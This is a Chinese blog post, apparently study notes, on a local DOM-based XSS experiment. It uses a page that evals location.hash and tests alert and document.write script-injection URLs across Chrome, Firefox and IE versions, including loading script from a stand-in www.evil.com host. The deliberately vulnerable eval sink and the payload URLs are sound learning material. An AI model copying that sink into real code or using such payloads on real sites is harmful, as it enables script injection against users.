XSS攻击 eval(location.hash.substr(1)); 笔记

本文档详细记录了一次XSS跨站脚本攻击的实验过程,涉及不同浏览器版本对XSS攻击的防御能力。实验中通过修改hosts文件创建本地环境,并在HTML页面中利用location.hash引入JavaScript脚本,测试了alert、document.write等方式在各浏览器中的执行情况。结果显示,现代浏览器如Chrome和Firefox已加强防护,阻止了同源和第三方JS的加载,而旧版浏览器如IE6和Firefox15对此较为宽松。这表明浏览器的安全性随着版本更新而提升。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

参考文档:web前端黑客技术揭秘笔记 第三章

假设已经配置好hosts文件:

127.0.0.1 www.foo.com
127.0.0.1 www.evil.com

配置

根目录新建xssme.html文件,内容为:

<script>
eval(location.hash.substr(1));
</script>

以及alert.js文件,内容为:

alert("123");

alert

浏览器访问http://127.0.0.1/xssme.html#alert(1)

上到谷歌最高版本75测试成功。更老的其他版本自然也没问题。

XSS攻击 eval(location.hash.substr(1));  笔记

下到IE6,也能弹窗出来。

XSS攻击 eval(location.hash.substr(1));  笔记

据此可知,简单的alert语句并未被浏览器阻止。

引入js

同源

首先来看同源下的引入js。地址:

http://127.0.0.1/xssme.html#document.write("<script/src=//127.0.0.1/alert.js></script>")

http://www.foo.com/xssme.html#document.write("<script/src=//www.foo.com/alert.js></script>")

http://www.evil.com/xssme.html#document.write("<script/src=//www.evil.com/alert.js></script>")

谷歌75、65打开都白屏,说明即使是同源下的js脚本,也被谷歌阻止掉了。

而谷歌21版本是可以弹窗出来的:

XSS攻击 eval(location.hash.substr(1));  笔记

对于火狐浏览器69版本,需要将代码修改为

<script>
    eval(decodeURI(location.hash.substr(1)));
</script>

之所以这么修改,我猜测是因为,火狐69默认对地址栏的特殊字符进行了编码,可以从它的地址栏复制出来,发现是编码了引号以及尖括号的。

XSS攻击 eval(location.hash.substr(1));  笔记

Firefox15.01和ie6/IE11在代码无需修改的情况下,执行成功。

IE11:

XSS攻击 eval(location.hash.substr(1));  笔记

第三方

下面地址,就是会加载第三域的脚本资源

http://www.foo.com/xssme.html#document.write("<script/src=//www.evil.com/alert.js></script>")

http://www.evil.com/xssme.html#document.write("<script/src=//www.foo.com/alert.js></script>")

IE5和IE11可以执行

XSS攻击 eval(location.hash.substr(1));  笔记

XSS攻击 eval(location.hash.substr(1));  笔记

老版本谷歌21不可执行。自然高版本谷歌75也被阻止。

老版本火狐15执行成功。

XSS攻击 eval(location.hash.substr(1));  笔记

火狐浏览器69版本在将eval(location.hash.substr(1));修改为eval(decodeURI(location.hash.substr(1)));再一次执行成功。

XSS攻击 eval(location.hash.substr(1));  笔记

总结

经过上面的测试。可以了解到这几种版本的浏览器对xss攻击的防御能力。

alertxss攻击在多数浏览器中均没有被阻止。应该是因为危害太小。

在谷歌21版本尚且还可以通过xss攻击来引入同域下的js文件,而现在新版本已经过滤掉了。因为同域文件也未必安全。


参考:记一次简单的DOM XSS攻击实验 - 趁你还年轻,做个优秀的前端工程师 - SegmentFault 思否

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

滕青山博客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值